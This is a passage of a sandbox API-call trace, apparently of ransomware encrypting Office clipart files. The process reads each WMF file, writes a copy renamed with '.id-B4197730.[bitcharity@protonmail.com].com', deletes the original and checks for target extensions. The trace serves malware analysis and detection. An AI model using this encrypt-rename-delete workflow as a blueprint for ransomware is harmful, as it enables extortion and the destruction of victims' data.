dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0289.004] GetLastError () returned 0x0 [0289.004] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0289.014] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0289.015] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.015] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.016] SetEndOfFile (hFile=0x10bc) returned 1 [0289.016] CloseHandle (hObject=0x10bc) returned 1 [0289.016] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.016] SetEndOfFile (hFile=0x10a4) returned 1 [0289.017] CloseHandle (hObject=0x10a4) returned 1 [0289.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0289.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.017] lstrlenW (lpString=".doc") returned 4 [0289.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.017] lstrlenW (lpString=".docx") returned 5 [0289.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.018] lstrlenW (lpString=".pdf") returned 4 [0289.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.018] lstrlenW (lpString=".xls") returned 4 [0289.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.018] lstrlenW (lpString=".xlsx") returned 5 [0289.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.018] lstrlenW (lpString=".ppt") returned 4 [0289.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.018] lstrlenW (lpString=".zip") returned 4 [0289.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.018] lstrlenW (lpString=".rar") returned 4 [0289.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.018] lstrlenW (lpString=".bz2") returned 4 [0289.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.018] lstrlenW (lpString=".7z") returned 3 [0289.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.018] lstrlenW (lpString=".dbf") returned 4 [0289.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.019] lstrlenW (lpString=".1cd") returned 4 [0289.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.019] lstrlenW (lpString=".jpg") returned 4 [0289.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.019] lstrlenW (lpString=".doc") returned 4 [0289.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.019] lstrlenW (lpString=".docx") returned 5 [0289.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.019] lstrlenW (lpString=".pdf") returned 4 [0289.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.019] lstrlenW (lpString=".xls") returned 4 [0289.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.019] lstrlenW (lpString=".xlsx") returned 5 [0289.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.019] lstrlenW (lpString=".ppt") returned 4 [0289.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.019] lstrlenW (lpString=".zip") returned 4 [0289.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.019] lstrlenW (lpString=".rar") returned 4 [0289.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.019] lstrlenW (lpString=".bz2") returned 4 [0289.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.020] lstrlenW (lpString=".7z") returned 3 [0289.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.020] lstrlenW (lpString=".dbf") returned 4 [0289.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.020] lstrlenW (lpString=".1cd") returned 4 [0289.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0289.020] lstrlenW (lpString=".jpg") returned 4 [0289.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.020] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.020] lstrlenW (lpString="BS00444_.WMF") returned 12 [0289.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.020] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3896) returned 1 [0289.020] CloseHandle (hObject=0x10a4) returned 1 [0289.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0289.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.021] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.021] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0289.021] GetLastError () returned 0x0 [0289.021] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xf38, lpOverlapped=0x0) returned 1 [0289.031] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf40, lpOverlapped=0x0) returned 1 [0289.033] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.033] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.033] SetEndOfFile (hFile=0x10bc) returned 1 [0289.033] CloseHandle (hObject=0x10bc) returned 1 [0289.033] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.033] SetEndOfFile (hFile=0x10a4) returned 1 [0289.035] CloseHandle (hObject=0x10a4) returned 1 [0289.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0289.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.035] lstrlenW (lpString=".doc") returned 4 [0289.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.035] lstrlenW (lpString=".docx") returned 5 [0289.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.035] lstrlenW (lpString=".pdf") returned 4 [0289.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.035] lstrlenW (lpString=".xls") returned 4 [0289.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.035] lstrlenW (lpString=".xlsx") returned 5 [0289.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.036] lstrlenW (lpString=".ppt") returned 4 [0289.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.036] lstrlenW (lpString=".zip") returned 4 [0289.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.036] lstrlenW (lpString=".rar") returned 4 [0289.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.036] lstrlenW (lpString=".bz2") returned 4 [0289.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.036] lstrlenW (lpString=".7z") returned 3 [0289.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.036] lstrlenW (lpString=".dbf") returned 4 [0289.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.036] lstrlenW (lpString=".1cd") returned 4 [0289.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.036] lstrlenW (lpString=".jpg") returned 4 [0289.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.036] lstrlenW (lpString=".doc") returned 4 [0289.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.036] lstrlenW (lpString=".docx") returned 5 [0289.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.036] lstrlenW (lpString=".pdf") returned 4 [0289.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.037] lstrlenW (lpString=".xls") returned 4 [0289.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.037] lstrlenW (lpString=".xlsx") returned 5 [0289.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.037] lstrlenW (lpString=".ppt") returned 4 [0289.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.037] lstrlenW (lpString=".zip") returned 4 [0289.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.037] lstrlenW (lpString=".rar") returned 4 [0289.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.037] lstrlenW (lpString=".bz2") returned 4 [0289.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.037] lstrlenW (lpString=".7z") returned 3 [0289.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.037] lstrlenW (lpString=".dbf") returned 4 [0289.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.037] lstrlenW (lpString=".1cd") returned 4 [0289.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0289.037] lstrlenW (lpString=".jpg") returned 4 [0289.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.038] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.038] lstrlenW (lpString="BS00453_.WMF") returned 12 [0289.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.038] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2436) returned 1 [0289.038] CloseHandle (hObject=0x10a4) returned 1 [0289.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0289.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0289.038] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.038] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0289.039] GetLastError () returned 0x0 [0289.039] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x984, lpOverlapped=0x0) returned 1 [0289.361] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x990, lpOverlapped=0x0) returned 1 [0289.362] ReadFile (in: hFile=0x10a4, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.362] WriteFile (in: hFile=0x10bc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.362] SetEndOfFile (hFile=0x10bc) returned 1 [0289.362] CloseHandle (hObject=0x10bc) returned 1 [0289.362] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.362] SetEndOfFile (hFile=0x10a4) returned 1 [0289.363] CloseHandle (hObject=0x10a4) returned 1 [0289.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0289.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.364] lstrlenW (lpString=".doc") returned 4 [0289.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.364] lstrlenW (lpString=".docx") returned 5 [0289.364] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.364] lstrlenW (lpString=".pdf") returned 4 [0289.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.364] lstrlenW (lpString=".xls") returned 4 [0289.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.364] lstrlenW (lpString=".xlsx") returned 5 [0289.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.364] lstrlenW (lpString=".ppt") returned 4 [0289.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.364] lstrlenW (lpString=".zip") returned 4 [0289.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.364] lstrlenW (lpString=".rar") returned 4 [0289.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.364] lstrlenW (lpString=".bz2") returned 4 [0289.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.365] lstrlenW (lpString=".7z") returned 3 [0289.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.365] lstrlenW (lpString=".dbf") returned 4 [0289.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.365] lstrlenW (lpString=".1cd") returned 4 [0289.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.365] lstrlenW (lpString=".jpg") returned 4 [0289.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.365] lstrlenW (lpString=".doc") returned 4 [0289.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.365] lstrlenW (lpString=".docx") returned 5 [0289.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.365] lstrlenW (lpString=".pdf") returned 4 [0289.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.365] lstrlenW (lpString=".xls") returned 4 [0289.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.365] lstrlenW (lpString=".xlsx") returned 5 [0289.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.365] lstrlenW (lpString=".ppt") returned 4 [0289.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.365] lstrlenW (lpString=".zip") returned 4 [0289.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.365] lstrlenW (lpString=".rar") returned 4 [0289.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.366] lstrlenW (lpString=".bz2") returned 4 [0289.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.366] lstrlenW (lpString=".7z") returned 3 [0289.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.366] lstrlenW (lpString=".dbf") returned 4 [0289.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.366] lstrlenW (lpString=".1cd") returned 4 [0289.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0289.366] lstrlenW (lpString=".jpg") returned 4 [0289.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.366] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.366] lstrlenW (lpString="CLIP.WMF") returned 8 [0289.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.404] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2262) returned 1 [0289.404] CloseHandle (hObject=0x10b8) returned 1 [0289.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0289.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.405] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.405] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0289.406] GetLastError () returned 0x0 [0289.406] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, 